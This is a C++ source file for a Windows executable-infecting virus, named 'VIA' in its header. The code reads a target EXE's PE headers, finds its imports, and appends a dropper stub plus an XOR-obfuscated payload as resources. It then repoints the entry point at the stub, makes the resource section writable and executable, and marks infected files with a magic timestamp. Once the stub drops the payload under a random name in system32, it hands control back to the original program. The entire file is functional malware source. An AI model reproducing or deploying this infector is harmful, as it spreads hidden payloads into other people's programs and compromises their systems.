/**
 * @author	Yitzchak Arad
 * @project	VIA, an EXE infector virus
 * @date	2011
 */

// must include as C code, to be compatible with the PIC code itself
extern "C" {
	#include "pic.h"
};
#include<string>

#include "via.h"

// a magic which will be set into the PE header (as timestamp)
// so we will be able to distinguish between infected and non-infected files
#define INFECTED_FILE_MAGIC (0xfeedbab0)

// identifiers for the first resource
#define PIC_RESOURCE_ID (0x1234)
#define PIC_RESOURCE_SUB_ID (0x5678)
// the resource size should be big enough to contain the PICData structure and the function code itself.
#define PIC_RESOURCE_SIZE (4096)

// identifiers for the payload resource
#define PAYLOAD_RESOURCE_ID (0x9abc)
#define PAYLOAD_RESOURCE_SUB_ID (0xdef0)

// a format string, to create a random EXE name for dropping the payload
#define PAYLOAD_DEST_FILE_NAME_PATTERN	"%%systemroot%%\\system32\\%c%c%c%c%c%c%d.exe"

/**
 * @brief	reads the contents of [filename]
 * @returns	pointer to a newly allocated buffer, containing the file contents.
 *			NULL if the function failed to open the file.
 * @param	[size] out parameter will contain the size of the returned buffer.
 * @note	the caller should de-allocate the buffer, using delete[]
 */
byte* readFromFile(const std::wstring& filename, OUT DWORD& size)
{
	// open the file
	HANDLE hFile = CreateFileW(filename.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	if( INVALID_HANDLE_VALUE == hFile )
	{
		traceDbg(L"ViaLib: readFromFile: CreateFile failed. Last Err: 0x%x", GetLastError());
		return NULL;
	}

	size = GetFileSize(hFile, NULL);
	byte* buff = new byte[size];
	
	DWORD dwNumOfBytesRead = 0;
	ReadFile(hFile, buff, size,  &dwNumOfBytesRead, NULL);

	// release file handle
	CloseHandle(hFile);

	return buff;
}

/**
 * @brief	writes [data] buffer into [filename]
 */
void writeToFile(const std::wstring& filename, const byte* data, DWORD size)
{
	// open the file (or create...)
	HANDLE hFile = CreateFile(filename.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, 0, NULL);
	if( INVALID_HANDLE_VALUE == hFile )
	{
		traceDbg(L"ViaLib: writeToFile: CreateFile failed. Last Err: 0x%x", GetLastError());
		return;
	}

	DWORD dwNumOfBytesWritten = 0;
	WriteFile(hFile, data, size, &dwNumOfBytesWritten, NULL);

	// release file handle
	CloseHandle(hFile);
}

/**
 * @brief	adds two resources into [filename]. one contains an EXE payload (XORed),
 *			and the other one contains a PIC code that drops it.
 * @param	filename - path to the source EXE file
 * @param	payload - path to the viral EXE, which we want to inject into [filename]
 * @param	dwEntryPoint - the original entry point of [filename], so we
				will jump into it, after dropping the payload
 * @param	dwGetModuleHandle - Virtual address of the import entry of "GetModuleHandle" function
 * @param	dwGetProcAddress - Virtual address of the import entry of "GetProcAddress" function
 * @returns	true if the resources were successfully injected.
 * @note	[filename] will continue to operate normally after this function,
				becuase that two resources do nothing from their own.
 */
bool addPICResourceToFile(
	const std::wstring& filename,
	const std::wstring& payload,
	DWORD dwEntryPoint, DWORD dwGetModuleHandle, DWORD dwGetProcAddress)
{
	// Fill PIC struct
	PICData picData = {0};
	SecureZeroMemory(&picData, sizeof(PICData));

	// MAGIC for sanity check by PIC code
	picData.magic = PIC_DATA_START_MAGIC;

	// store required numeric parameters
	picData.pfGetModuleHandle = (GET_MODULE_HANDLE_A*)dwGetModuleHandle;
	picData.pfGetProcAddress = (GET_PROC_ADDRESS*)dwGetProcAddress;
	picData.originalEntryPoint = dwEntryPoint;
	picData.payloadResID = PAYLOAD_RESOURCE_ID;
	picData.payloadResSubID = PAYLOAD_RESOURCE_SUB_ID;

	// create random XOR byte, and store it in the PICData
	picData.xorByte = rand() % 256;

	// store required strings (modules and functions)
	strcpy(picData.kernel32Name, KERNEL32_NAME);
	strcpy(picData.fnameOutputDebugString,	OUTPUT_DEBUG_STRING_NAME);
	strcpy(picData.fnameGetModuleFileName,	GET_MODULE_FILE_NAME_NAME);
	strcpy(picData.fnameFindResource,		FIND_RESOURCE_NAME);
	strcpy(picData.fnameSizeOfResource,		SIZE_OF_RESOURCE_NAME);
	strcpy(picData.fnameLoadResource,		LOAD_RESOURCE_NAME);
	strcpy(picData.fnameLockResource,		LOCK_RESOURCE_NAME);
	strcpy(picData.fnameExpandEnvStrings,	EXPAND_ENVIRONMENT_STRINGS_NAME);
	strcpy(picData.fnameCreateFile,			CREATE_FILE_NAME);
	strcpy(picData.fnameWriteFile,			WRITE_FILE_NAME);
	strcpy(picData.fnameCloseHandle,		CLOSE_HANDLE_NAME);
	strcpy(picData.fnameCreateProcess,		CREATE_PROCESS_NAME);

	// create random payload name (using the format string), and store it in the PICData
	char payloadDestFileName[MAX_PATH] = {0};
	_snprintf(payloadDestFileName, MAX_PATH, PAYLOAD_DEST_FILE_NAME_PATTERN,
		'a' + rand() % 26,
		'a' + rand() % 26,
		'a' + rand() % 26,
		'a' + rand() % 26,
		'a' + rand() % 26,
		'a' + rand() % 26,
		rand() % 100);
	strcpy(picData.payloadDestFileName,	payloadDestFileName);
	traceDbg(L"ViaLib: addPICResourceToFile: random EXE name: %S", payloadDestFileName);	

	// store additional strings
	strcpy(picData.inBuff1, "VIA PIC CODE loaded from: ");

	// create the final resource buffer, including PICData and the code itself
	byte resource[PIC_RESOURCE_SIZE] = {0};
	memcpy(resource, &picData, sizeof(PICData));
	memcpy(resource + sizeof(PICData), positionIndependantCode, PIC_RESOURCE_SIZE - sizeof(PICData));

	// Start resource updating
	HANDLE hUpdate = BeginUpdateResourceW(filename.c_str(), FALSE);
	if( NULL == hUpdate )
	{
		traceDbg(L"ViaLib: addPICResourceToFile: BeginUpdateResource failed.");
		return false;
	}

	// 1st resource
	UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCEW(PIC_RESOURCE_ID), PIC_RESOURCE_SUB_ID, resource, PIC_RESOURCE_SIZE);

	// XOR the payload
	DWORD payloadSize = 0;
	byte* payloadData = readFromFile(payload, payloadSize);
	unsigned int i = payloadSize;
	while ( i ) payloadData[--i] ^= picData.xorByte;

	// 2nd resource
	UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCEW(PAYLOAD_RESOURCE_ID), PAYLOAD_RESOURCE_SUB_ID, payloadData, payloadSize);


	// free buffer (allocated by readFromFile)
	delete [] payloadData;

	// commit changes in file
	EndUpdateResourceW(hUpdate, FALSE);

	return true;
}

/**
 * @brief	a recoursive function for finding the exact position of a specific resouce
 * @param	resourceBase - pointer to the beginning of the rsrc data.
				required because other offsets are relative to this.
 * @param	directory - the current entry, search in its children.
 * @param	id, subID - resource NAME (as INTRESOURCE)
 * @note	the function supports only INT resources (Named resources are more complicated)
 * @note	subID is the locale, but actually implemented as a sub resource, with that name
 * @returns	offset to the DATA_ENTRY of the resource, relative to [resourceBase].
 *			0 if the resource was not found.
 */
DWORD findResourceOffset(const byte* resourceBase, const PIMAGE_RESOURCE_DIRECTORY directory, WORD id, WORD subID)
{
	// DIRECTORY_ENTRY array followes the DIRECTORY struct
	PIMAGE_RESOURCE_DIRECTORY_ENTRY pResource = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((byte*)directory + sizeof(IMAGE_RESOURCE_DIRECTORY));

	int i = 0;
	// iterate over all of the DIRECTORY_ENTRIES, up to the amount of entries (ID+Named)
	for(i=0; i < directory->NumberOfNamedEntries + directory->NumberOfIdEntries; i++)
	{
		// ENTRY is a directory by itself
		if( pResource->DataIsDirectory )
		{
			// if it has the requested ID, so the data is in a child entry,
			// but the name of that child is the subID. so switch the recoursion to search the subID from now.
			if( pResource->Id == id )
			{
				id = subID;
			}

			// start a new search, in the current DIRECTORY_ENTRY
			DWORD res = findResourceOffset(resourceBase, (PIMAGE_RESOURCE_DIRECTORY)(resourceBase + pResource->OffsetToDirectory), id, subID);

			if( res != 0 )
			{
				// found inside the resoursion.
				return res;
			}
			else
			{
				// not found. move to the next entry
				pResource++;
			}
		}
		else if ( pResource->Name == id )
		{
			// that's it!
			return pResource->OffsetToData;
		}
		else
		{
			// move on... 
			pResource++;
		}
	}

	// iteration was completed, without any match.
	// resource was not found within the current directory
	return 0;
}

/**
 * @brief	takes a relative-virtual-address (usually extracted from a field in a PE)
 * @returns the "offline" offset (relative to the start of the PE buffer).
 * @param	ntHeaders - pointer to the PE header, so we can search the relevant section properties in it.
 * @param	dwRVA - relative address (in run time), which we want to find
 */
DWORD changeRVAToOffset(PIMAGE_NT_HEADERS ntHeaders, DWORD dwRVA)
{
	unsigned long i = 0;
	
	// pointer to the first section (section list follows the NT_HEADERS struct...)
	PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((byte*)ntHeaders + sizeof(IMAGE_NT_HEADERS));

	// iterate over the section list (up to the amount of sections)
	for ( i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i )
	{
		// check whether the RVA is in the range of this section
		if( dwRVA >= sectionHeader->VirtualAddress &&
			dwRVA <= sectionHeader->VirtualAddress + sectionHeader->SizeOfRawData )
		{
			// found!
			break;
		}
		else
		{
			// move on...
			sectionHeader++;
		}
	}
	
	if( i == ntHeaders->FileHeader.NumberOfSections )
	{
		// iteration was completed without match.
		// RVA does not match any section.
		return 0;
	}
	
	// find the address, relative to the virtual start of the section,
	// and fit it to the actual start of section (RawData)
	return (dwRVA - sectionHeader->VirtualAddress + sectionHeader->PointerToRawData);
}

/**
 * @brief	Sets the PIC code, in the PIC resource, as the entry point of a PE file
 * @param	imageBase - pointer to the start of the PE file image
 * @param	ntHeaders - pointer to the PE header
 * @param	id, subID - the identifiers of the resource that contains the PIC code.
 * @returns true, if the resource was found and successfully set.
 * @note	EXECUTE and WRITE permissions are added to the rsrc section.
 */
bool adjustResourceAsEntryPoint(byte* imageBase, PIMAGE_NT_HEADERS ntHeaders, WORD id, WORD subID)
{
	// pointer to the first section (section list follows the NT_HEADERS struct...)
	PIMAGE_SECTION_HEADER resourceSectionHeader = (PIMAGE_SECTION_HEADER)((byte*)ntHeaders + sizeof(IMAGE_NT_HEADERS));
	
	unsigned long i=0;
	// iterate over the section list (up to the amount of sections)
	for(i=0; i < ntHeaders->FileHeader.NumberOfSections; i++)
	{
		// check whether is name of the section is OK
		if(strncmp((const char *)(resourceSectionHeader->Name), ".rsrc", 8) == 0)
		{
			// section found!
			break;
		}
		else
		{
			// move on...
			resourceSectionHeader++;
		}
	}
	
	if( i == ntHeaders->FileHeader.NumberOfSections )
	{
		// iteration was completed without match.
		// RVA does not match any section.
		traceDbg(L"ViaLib: AdjustResourceAsEntryPoint: rsrc section was not found.");
		return false;
	}

	// pointer to the first RESOURCE_DIRECTORY
	PIMAGE_RESOURCE_DIRECTORY pResourceDir = (PIMAGE_RESOURCE_DIRECTORY)(imageBase + resourceSectionHeader->PointerToRawData);
	// resoursively search for the resource offset
	DWORD offsetToData = findResourceOffset((const byte*)pResourceDir, pResourceDir, id, subID);
	if( offsetToData == 0 )
	{
		// no such resource...
		traceDbg(L"ViaLib: AdjustResourceAsEntryPoint: PIC resource was not found.");
		return false;
	}
	else
	{
		// point to the DATA_ENTRY
		PIMAGE_RESOURCE_DATA_ENTRY pDataEntry = (PIMAGE_RESOURCE_DATA_ENTRY)((byte*)pResourceDir + offsetToData);
		// and get the Virtual Address of the contents
		// the resource contains some data before the code, so adjust the offset of the PICData prefix
		ntHeaders->OptionalHeader.AddressOfEntryPoint = pDataEntry->OffsetToData + sizeof(PICData);
	}
	
	// set the flags of the resource section (so it will be writeable and executable)
	resourceSectionHeader->Characteristics |= IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE;

	return true;
}

/**
 * @brief	finds the pointer of the IMPORT_DESCRIPTOR for [moduleName] in PE file (at [imageBase])
 * @param	moduleName - case insensitive ASCII, NULL-terminated name of the module. (ex. "kernel32.dll\0")
 * @param	imageBase - pointer to the location where the PE file starts
 * @param	ntHeaders - pointer to the PE header
 * @returns	NULL, when the module was not found in the import section of the PE.
 */
PIMAGE_IMPORT_DESCRIPTOR getModuleImportTable(const char* moduleName, const byte* imageBase, PIMAGE_NT_HEADERS ntHeaders)
{
	// pointer to the first import descriptor (assuming that the IMAGE_DIRECTORY_ENTRY_IMPORT index is the import table section)
	DWORD importOffset = changeRVAToOffset(ntHeaders, ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
	PIMAGE_IMPORT_DESCRIPTOR importTableModule = (PIMAGE_IMPORT_DESCRIPTOR)(imageBase + importOffset);

	// iterate over the imported modules (until an empty module descriptor)
	while(importTableModule->Name != 0)
	{
		// get the name which pointed by the current descriptor
		char* currentName = (char*)(imageBase + changeRVAToOffset(ntHeaders, importTableModule->Name));

		// is it the wanted module?
		if( _strnicmp(moduleName, currentName, MAX_PATH) == 0 )
		{
			// yes!!
			return importTableModule;
		}
		else
		{
			// move on...
			importTableModule++;
		}
	}

	// the import table is over, but the module was not found...
	return NULL;
}

/**
 * @brief	finds the location of an imported function
 * @param	functionName - case insensitive ASCII, NULL-terminated name of the function. (ex. "GetProcAddress\0")
 * @param	imageBase - pointer to the location where the PE file starts
 * @param	ntHeaders - pointer to the PE header
 * @param	module - pointer to the module IMPORT_DESCRIPTOR (as got from getModuleImportTable function)
 * @returns	NULL, when the function was not found in the import section of the module.
 */
DWORD getImportedFunctionVirtualAddress(const char* functionName, const byte* imageBase, PIMAGE_NT_HEADERS ntHeaders, PIMAGE_IMPORT_DESCRIPTOR module)
{
	// pointer to the name-list
	DWORD thunkRva = module->OriginalFirstThunk;
	PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)(imageBase + changeRVAToOffset(ntHeaders, thunkRva));
	
	DWORD offsetInThunkList = 0; // count how much entries have we passed

	// iterate over the imported function (until an empty import)
	while(pThunk->u1.Ordinal != 0)
	{
		// get the name which pointed by the current thunk
		char* currentFunctionName = (char*)((PIMAGE_IMPORT_BY_NAME)(imageBase + changeRVAToOffset(ntHeaders, pThunk->u1.Function)))->Name;
		
		// is it the wanted function?
		if( _stricmp(functionName, currentFunctionName) == 0 )
		{
			// that's it!
			return module->FirstThunk + sizeof(DWORD)*offsetInThunkList + ntHeaders->OptionalHeader.ImageBase;
		}
		else
		{
			// move on...
			pThunk++;
			offsetInThunkList++;
		}
	}

	// the module import table is over, but the function was not found...
	return NULL;
}

/**
 * @brief	parses [filename], and extracts from it some important fields.
 * @returns	true if [filename] was opened and parsed successfully.
 * 			the RVA of the entry point
 *			the timeDateStamp of the FILE_HEADER
 *			addresses to the import-table, for GetModuleHandle and GetProcAddress
 * @note	files that does not start with 'MZ', will not be processed.
 */
bool getPEParams(const std::wstring& filename, OUT LPDWORD pEntryPoint, OUT LPDWORD pTimestamp, OUT LPDWORD pGetModuleHandle, OUT LPDWORD pGetProcAddress)
{
	DWORD peSize = 0;
	const byte* imageBase = readFromFile(filename, peSize);
	if( NULL == imageBase )
	{
		traceDbg(L"ViaLib: GetPEParams: Failed reading file");
		return false;
	}
	// imageBase should be de-allocated. each flow of exiting this function have to free imageBase buffer.

	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;
	// validate that the file is a PE file
	if( dosHeader->e_magic != 'ZM' ) // does the file starts with 'MZ' (little-endianity)
	{
		delete [] imageBase;
		return false;
	}

	PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((byte*)dosHeader + dosHeader->e_lfanew);
	// get header data
	*pTimestamp = ntHeaders->FileHeader.TimeDateStamp;
	*pEntryPoint = ntHeaders->OptionalHeader.AddressOfEntryPoint + ntHeaders->OptionalHeader.ImageBase;

	// get imports data
	PIMAGE_IMPORT_DESCRIPTOR kernelImports = getModuleImportTable("kernel32.dll", imageBase, ntHeaders);
	if( NULL == kernelImports )
	{
		delete [] imageBase;
		traceDbg(L"ViaLib: GetPEParams: Kernel32 is not imported.");
		return false;
	}

	// kernel32 was found. search for the functions...

	*pGetModuleHandle = getImportedFunctionVirtualAddress("GetModuleHandleA", imageBase, ntHeaders, kernelImports);
	*pGetProcAddress = getImportedFunctionVirtualAddress("GetProcAddress", imageBase, ntHeaders, kernelImports);

	if( NULL == *pGetModuleHandle || NULL == *pGetProcAddress )
	{
		delete [] imageBase;
		traceDbg(L"ViaLib: GetPEParams: kernel32 does not import either GetModuleHandle or GetProcAddress.");
		return false;
	}

	// functions were found and stored in the out parameters.

	delete [] imageBase;
	return true;
}

// documented in header file (via.h)
bool infectFile(const std::wstring& filename, const std::wstring& payload)
{
	DWORD dwEntryPoint = 0;
	DWORD dwTimestamp = 0;
	DWORD dwGetModuleHandle = 0;
	DWORD dwGetProcAddress = 0;

	// we should reduce the amount of debug messages until we know that the file isn't already infected.
	if(!getPEParams(filename, &dwEntryPoint, &dwTimestamp, &dwGetModuleHandle, &dwGetProcAddress))
	{
		traceDbg(L"ViaLib: infectFile: failed getting PE Params: %s", filename.c_str());
		return false;
	}

	// is the file already infected?
	if(dwTimestamp == INFECTED_FILE_MAGIC)
	{
		// YES!
		return false;
	}

	traceDbg(L"ViaLib: infectFile: Going to infect: %s", filename.c_str());

	// add the PIC resource
	if(!addPICResourceToFile(filename, payload, dwEntryPoint, dwGetModuleHandle, dwGetProcAddress))
	{
		traceDbg(L"ViaLib: infectFile: addPICResourceToFile failed.");
		return false;
	}
	
	// read the file into memory, so we can make the changes of step-2.
	DWORD peSize = 0;
	byte* imageBase = readFromFile(filename, peSize);
	// imageBase should be de-allocated. each flow of exiting this function have to free imageBase buffer.

	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;
	PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((byte*)dosHeader + dosHeader->e_lfanew);

	// resource is already applied, so we can look for it in the PE.
	if(!adjustResourceAsEntryPoint(imageBase, ntHeaders, PIC_RESOURCE_ID, PIC_RESOURCE_SUB_ID))
	{
		traceDbg(L"ViaLib: infectFile: AdjustResourceAsEntryPoint failed.");
		delete[] imageBase;
		return false;
	}

	// set the INFECTED stamp
	ntHeaders->FileHeader.TimeDateStamp = INFECTED_FILE_MAGIC;

	// apply changes!
	writeToFile(filename, imageBase, peSize);

	delete [] imageBase;
	return true;
}